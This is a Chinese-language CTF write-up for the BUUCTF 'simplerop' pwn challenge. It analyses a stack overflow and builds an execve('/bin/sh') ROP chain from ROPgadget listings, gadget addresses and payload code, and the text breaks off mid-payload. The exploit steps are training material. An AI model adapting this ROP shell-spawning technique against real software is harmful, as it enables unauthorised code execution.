1. 安全策略
[*] '/root/ctf/buuctf/pwn/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2. 分析
程序的功能很简单,接收一段用户的输入,向大小为32的栈中最多可以写入100个字节的数据。是很明显的rop的题目。
ret2libc
首先可以考虑ret2libc的方式。但是这题没有got和plt表,这里我没有找到方法去泄露libc地址,因此放弃了这种方式
方法一 execve
然后考虑execve("/bin/sh",0,0)的方式获取shell。
- 利用ropgadget寻找gadget
因此的话可以构造出来payload来出发0xb系统调用root@kali:~/ctf/buuctf/pwn# ROPgadget --binary simplerop --only "int" Gadgets information ============================================================ 0x080493e1 : int 0x80 Unique gadgets found: 1 root@kali:~/ctf/buuctf/pwn# ROPgadget --binary simplerop --only "pop|ret" | grep eax 0x0809da8a : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bae06 : pop eax ; ret 0x08071e3a : pop eax ; ret 0x80e 0x0809da89 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
exevce = p32(pop_eax_ret) + p32(0xb) + p32(int_80) payload = p32(pop_edx_ecx_eax_ret) + p32(0) + p32(0) + p32(binsh) + execve
- 继续分析发现程序中找不到binsh字符串,因此考虑利用read函数将
/bin/sh
写入到bss段中。# read(0, binsh, 0x8) read = 0x0806cd50 binsh = 0x080eaf80 payload = p32(read) + p32(retn) + p32(0) + p32(binsh) + p32(0x8)
- 合并上面两个payload
payload = cyclic(32) payload += p32(read) + p32(retn) + p32(0) + p32(binsh) + p32(0x8) payload += p32(pop_edx_ecx_eax_ret) + p32